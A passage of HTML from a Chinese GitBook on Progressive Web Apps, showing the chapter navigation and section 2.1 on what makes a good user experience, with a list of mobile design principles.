Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >2.1 什么是好的用户体验</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x4EC0;&#x4E48;&#x662F;&#x597D;&#x7684;&#x7528;&#x6237;&#x4F53;&#x9A8C;\"><b></b>&#x4EC0;&#x4E48;&#x662F;&#x597D;&#x7684;&#x7528;&#x6237;&#x4F53;&#x9A8C;</a></li></ul></div><a href=\"#&#x4EC0;&#x4E48;&#x662F;&#x597D;&#x7684;&#x7528;&#x6237;&#x4F53;&#x9A8C;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x4EC0;&#x4E48;&#x662F;&#x597D;&#x7684;&#x7528;&#x6237;&#x4F53;&#x9A8C;\"><a name=\"&#x4EC0;&#x4E48;&#x662F;&#x597D;&#x7684;&#x7528;&#x6237;&#x4F53;&#x9A8C;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4EC0;&#x4E48;&#x662F;&#x597D;&#x7684;&#x7528;&#x6237;&#x4F53;&#x9A8C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4EC0;&#x4E48;&#x662F;&#x597D;&#x7684;&#x7528;&#x6237;&#x4F53;&#x9A8C;\" class=\"plugin-anchor\" href=\"#&#x4EC0;&#x4E48;&#x662F;&#x597D;&#x7684;&#x7528;&#x6237;&#x4F53;&#x9A8C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4EC0;&#x4E48;&#x662F;&#x597D;&#x7684;&#x7528;&#x6237;&#x4F53;&#x9A8C;</h1>\n<p>PWA &#x7684;&#x6838;&#x5FC3;&#x662F;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#xFF0C;&#x5B83;&#x7684;&#x6838;&#x5FC3;&#x6280;&#x672F;&#xFF08;&#x5982; Service Worker&#xFF0C;Web App Manifest &#x7B49;&#xFF09;&#x90FD;&#x662F;&#x4E3A;&#x4E86;&#x63D0;&#x5347; Web App &#x7528;&#x6237;&#x4F53;&#x9A8C;&#xFF0C;&#x4F46;&#x201C;&#x4F53;&#x9A8C;&#x201D;&#x5176;&#x5B9E;&#x662F;&#x4E2A;&#x5F88;&#x4E3B;&#x89C2;&#x7684;&#x611F;&#x53D7;&#xFF0C;&#x6211;&#x4EEC;&#x5F88;&#x96BE;&#x7528;&#x4E00;&#x4E2A;&#x6216;&#x51E0;&#x4E2A;&#x91CF;&#x5316;&#x6307;&#x6807;&#x6765;&#x8F7B;&#x6613;&#x7684;&#x8861;&#x91CF;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#xFF0C;&#x5224;&#x65AD;&#x4F18;&#x52A3;&#xFF0C;&#x751A;&#x81F3;&#x4E0D;&#x540C;&#x7684;&#x4EBA;&#x6709;&#x4E0D;&#x540C;&#x7684;&#x7406;&#x89E3;&#xFF0C;&#x4E0D;&#x8FC7;&#x4F53;&#x9A8C;&#x597D;&#x7684;&#x7AD9;&#x70B9;&#x90FD;&#x6709;&#x4E00;&#x4E9B;&#x5171;&#x6027;&#xFF0C;&#x5305;&#x62EC;&#x4E0D;&#x9650;&#x4E8E;&#x4E0B;&#x9762;&#x5217;&#x51FA;&#x6765;&#x7684;&#x4E00;&#x4E9B;&#x7279;&#x5F81;&#x3002;</p>\n<ul>\n<li>&#x9996;&#x5C4F;&#x901F;&#x5EA6;&#x5FEB;</li>\n<li>&#x987A;&#x6ED1;&#x6D41;&#x7545;&#x7684;&#x52A8;&#x753B;&#x6548;&#x679C;</li>\n<li>&#x6709;&#x7528;&#x6237;&#x64CD;&#x4F5C;&#x7684;&#x53CD;&#x9988;</li>\n<li>&#x6BD4;&#x8F83;&#x7B80;&#x5355;&#x7684;&#x64CD;&#x4F5C;&#x6B65;&#x9AA4;</li>\n<li>&#x4E3B;&#x4F53;&#x5185;&#x5BB9;&#x6BD4;&#x8F83;&#x5728;&#x6700;&#x663E;&#x773C;&#x7684;&#x4F4D;&#x7F6E;</li>\n<li>&#x6574;&#x7AD9;&#x4F53;&#x9A8C;&#x4E00;&#x81F4;</li>\n<li>&#x65E0;&#x969C;&#x788D;&#x8BBF;&#x95EE;&#xFF0C;&#x4E0D;&#x540C;&#x7684;&#x4EBA;&#x7FA4;&#x5747;&#x53EF;&#x4F7F;&#x7528;</li>\n</ul>\n<p>&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x7684;&#x6838;&#x5FC3;&#x662F;&#x7528;&#x6237;&#xFF0C;&#x8BBE;&#x8BA1;&#x5E08;&#x9700;&#x8981;&#x7AD9;&#x5728;&#x7528;&#x6237;&#x7684;&#x89D2;&#x5EA6;&#x601D;&#x8003;&#x7528;&#x6237;&#x9700;&#x8981;&#x4EC0;&#x4E48;&#xFF0C;&#x5728;&#x505A;&#x8BBE;&#x8BA1;&#x7684;&#x65F6;&#x5019;&#x9700;&#x8981;&#x505A;&#x5145;&#x5206;&#x7684;&#x8C03;&#x7814;&#x3002;&#x79FB;&#x52A8;&#x8BBE;&#x5907;&#x4E0A;&#x7684;&#x7528;&#x6237;&#x76EE;&#x7684;&#x6027;&#x5F88;&#x5F3A;&#xFF0C;&#x9700;&#x8981;&#x5728;&#x5DF4;&#x638C;&#x5927;&#x5C0F;&#x7684;&#x5C4F;&#x5E55;&#x4E0A;&#x5FEB;&#x901F;&#x627E;&#x5230;&#x81EA;&#x5DF1;&#x60F3;&#x8981;&#x7684;&#x5185;&#x5BB9;&#x3002;</p>\n<p>&#x5F88;&#x591A;&#x516C;&#x53F8;&#x90FD;&#x6C89;&#x6DC0;&#x4E86;&#x81EA;&#x5DF1;&#x7684;&#x4E00;&#x5957;&#x8BBE;&#x8BA1;&#x539F;&#x5219;&#x548C;&#x65B9;&#x6848;&#xFF0C;&#x767E;&#x5EA6;&#x5728; 2018 &#x5E74;&#x53D1;&#x5E03;&#x4E86;&#x300A;<a href=\"https://ziyuan.baidu.com/college/documentinfo?id=2492\" target=\"_blank\">&#x767E;&#x5EA6;&#x79FB;&#x52A8;&#x641C;&#x7D22;&#x843D;&#x5730;&#x9875;&#x4F53;&#x9A8C;&#x767D;&#x76AE;&#x4E66; 4.0</a>&#x300B;&#xFF0C;&#x8FD9;&#x91CC;&#x9762;&#x5217;&#x51FA;&#x4E86;&#x5F88;&#x591A;&#x4F53;&#x9A8C;&#x4E0A;&#x7684;&#x6307;&#x5BFC;&#x539F;&#x5219;&#x3002;Google &#x4E5F;&#x5728;&#x5F00;&#x53D1;&#x8005;&#x7F51;&#x7AD9;&#x4E0A;&#x5217;&#x51FA;&#x4E86;&#x4ED6;&#x4EEC;&#x603B;&#x7ED3;&#x7684; 25 &#x9879;&#x8BBE;&#x8BA1;&#x539F;&#x5219;&#xFF0C;&#x300A;<a href=\"https://developers.google.cn/web/fundamentals/design-and-ux/principles/\" target=\"_blank\">What Makes a Good Mobile Site?</a>&#x300B;&#x3002;</p>\n<p>&#x7B14;&#x8005;&#x5C06;&#x4ED6;&#x4EEC;&#x6574;&#x5408;&#x4E86;&#x4E00;&#x4E0B;&#xFF0C;&#x5E76;&#x4E14;&#x52A0;&#x5165;&#x4E86;&#x4E00;&#x4E9B;&#x81EA;&#x5DF1;&#x8BA4;&#x4E3A;&#x91CD;&#x8981;&#x7684;&#x8BBE;&#x8BA1;&#x539F;&#x5219;&#xFF0C;&#x5982;&#x4E0B;&#xFF1A;</p>\n<ol>\n<li>&#x4E3B;&#x64CD;&#x4F5C;&#x533A;&#x57DF;&#x8981;&#x653E;&#x5728;&#x663E;&#x773C;&#x4F4D;&#x7F6E;</li>\n<li>&#x4E0D;&#x8981;&#x51FA;&#x73B0;&#x5DE8;&#x5927;&#x7684;&#x5F39;&#x5C42;&#x76D6;&#x4F4F;&#x4E3B;&#x8981;&#x5185;&#x5BB9;&#xFF0C;&#x6BD4;&#x5982;&#x4E0B;&#x8F7D;&#x6761;&#x5E45;&#x53EF;&#x4EE5;&#x653E;&#x5728;&#x9876;&#x90E8;&#x5E76;&#x4E14;&#x6DFB;&#x52A0;&#x5173;&#x95ED;&#x6309;&#x94AE;</li>\n<li>&#x63A8;&#x9001;&#x7684;&#x901A;&#x77E5;&#x9700;&#x8981;&#x6EE1;&#x8DB3;&#x51C6;&#x786E;&#x3001;&#x51C6;&#x65F6;&#x548C;&#x76F8;&#x5173;&#x4E09;&#x4E2A;&#x7279;&#x5F81;</li>\n<li>&#x5C3D;&#x91CF;&#x51CF;&#x5C11;&#x7528;&#x6237;&#x7684;&#x8F93;&#x5165;&#x6216;&#x8005;&#x51CF;&#x5C0F;&#x8F93;&#x5165;&#x7684;&#x4EE3;&#x4EF7;&#xFF0C;&#x81EA;&#x52A8;&#x5E2E;&#x7528;&#x6237;&#x586B;&#x5199;&#x5DF2;&#x77E5;&#x7684;&#x6570;&#x636E;&#xFF0C;&#x9009;&#x62E9;&#x5408;&#x9002;&#x7684; <code>input</code> &#x7C7B;&#x578B;</li>\n<li>&#x7F29;&#x77ED;&#x4E0D;&#x5FC5;&#x8981;&#x7684;&#x6D41;&#x7A0B;&#xFF0C;&#x8BA9;&#x6574;&#x4E2A;&#x8F6C;&#x5316;&#x6D41;&#x7A0B;&#x66F4;&#x7B80;&#x6D01;</li>\n<li>&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;&#xFF0C;\b&#x8BA9;&#x7AD9;&#x70B9;\b&#x5728;&#x4E0D;&#x540C;&#x5C3A;&#x5BF8;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x4E0A;&#x90FD;&#x6709;&#x597D;&#x7684;&#x4F53;&#x9A8C;</li>\n<li>&#x56FE;&#x7247;&#x6E05;&#x6670;&#xFF0C;&#x4E14;&#x70B9;&#x51FB;&#x53EF;&#x653E;&#x5927;&#x67E5;&#x770B;&#x66F4;&#x6E05;&#x6670;&#x7684;&#x56FE;&#x7247;</li>\n<li>\b&#x907F;&#x514D;&#x4E0D;&#x5FC5;&#x8981;&#x7684;&#x5207;&#x6362;&#xFF0C;&#x8BA9;&#x7528;&#x6237;&#x5728;&#x4E00;&#x4E2A;\b&#x6D4F;&#x89C8;&#x7A97;&#x53E3;&#x5185;&#x5B8C;&#x6210;&#x6240;&#x6709;&#x7684;&#x64CD;&#x4F5C;</li>\n<li>&#x5982;&#x679C;&#x9700;&#x8981;&#x7533;&#x8BF7;&#x8BBE;&#x5907;&#x6743;&#x9650;&#xFF0C;&#x5982;&#x5B9A;&#x4F4D;&#x3001;&#x901A;&#x77E5;&#x7B49;&#xFF0C;&#x5728;&#x7533;&#x8BF7;&#x524D;&#x9700;&#x8981;&#x660E;&#x786E;&#x7684;&#x544A;&#x8BC9;&#x7528;&#x6237;&#x4E3A;&#x4EC0;&#x4E48;&#x9700;&#x8981;&#x8FD9;&#x4E9B;&#x8BBE;&#x5907;&#x6743;&#x9650;</li>\n<li>&#x53EF;&#x70B9;&#x51FB;&#x533A;&#x57DF;&#x7684;\b&#x5BBD;&#x5EA6;&#x548C;&#x9AD8;&#x5EA6;&#x4E0D;&#x5E94;&#x5C0F;&#x4E8E; 48px</li>\n<li>&#x6574;&#x7AD9;&#x4F53;&#x9A8C;&#x9700;&#x8981;&#x4E00;&#x81F4;&#xFF0C;&#x9875;&#x9762;&#x6846;&#x67B6;&#x3001;&#x4E3B;&#x8272;&#x8C03;&#x7B49;&#x9700;&#x8981;&#x4FDD;&#x6301;&#x7EDF;&#x4E00;</li>\n</ol>\n<p>&#x597D;&#x7684;&#x8BBE;&#x8BA1;&#x539F;&#x5219;&#x8FDC;&#x4E0D;&#x6B62;\b&#x4E0A;&#x9762;&#x5217;&#x51FA;&#x6765;&#x7684;&#x8FD9;&#x4E9B;&#xFF0C;&#x597D;&#x7684;&#x8BBE;&#x8BA1;&#x4E0D;&#x4EC5;&#x9700;&#x8981;&#x7F8E;&#x89C2;&#xFF0C;&#x8FD8;&#x9700;&#x8981;&#x65B9;&#x4FBF;&#x6613;&#x7528;&#x3002;</p>\n<p>&#x90A3;&#x4E48;&#x7AD9;&#x5728;&#x5F00;&#x53D1;&#x8005;&#x7684;&#x89D2;&#x5EA6;&#xFF0C;&#x54EA;&#x4E9B;&#x9700;&#x8981;&#x91CD;&#x70B9;&#x5173;&#x6CE8;&#x5462;&#xFF1F;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:41 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"../chapter02.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 第2章 设计与体验\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"2-design-and-tech.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 2.2 设计与技术\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"2.1 什么是好的用户体验\",\"level\":\"1.3.1\",\"depth\":2,\"next\":{\"title\":\"2.2 设计与技术\",\"level\":\"1.3.2\",\"depth\":2,\"path\":\"chapter02/2-design-and-tech.md\",\"ref\":\"chapter02/2-design-and-tech.md\",\"articles\":[]},\"previous\":{\"title\":\"第2章 设计与体验\",\"level\":\"1.3\",\"depth\":1,\"path\":\"chapter02.md\",\"ref\":\"chapter02.md\",\"articles\":[{\"title\":\"2.1 什么是好的用户体验\",\"level\":\"1.3.1\",\"depth\":2,\"path\":\"chapter02/1-what-is-good-ux.md\",\"ref\":\"chapter02/1-what-is-good-ux.md\",\"articles\":[]},{\"title\":\"2.2 设计与技术\",\"level\":\"1.3.2\",\"depth\":2,\"path\":\"chapter02/2-design-and-tech.md\",\"ref\":\"chapter02/2-design-and-tech.md\",\"articles\":[]},{\"title\":\"2.3 App Shell\",\"level\":\"1.3.3\",\"depth\":2,\"path\":\"chapter02/3-app-shell.md\",\"ref\":\"chapter02/3-app-shell.md\",\"articles\":[]},{\"title\":\"2.4 骨架屏\",\"level\":\"1.3.4\",\"depth\":2,\"path\":\"chapter02/4-app-skeleton.md\",\"ref\":\"chapter02/4-app-skeleton.md\",\"articles\":[]},{\"title\":\"2.5 响应式布局\",\"level\":\"1.3.5\",\"depth\":2,\"path\":\"chapter02/5-responsive-design.md\",\"ref\":\"chapter02/5-responsive-design.md\",\"articles\":[]}]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa 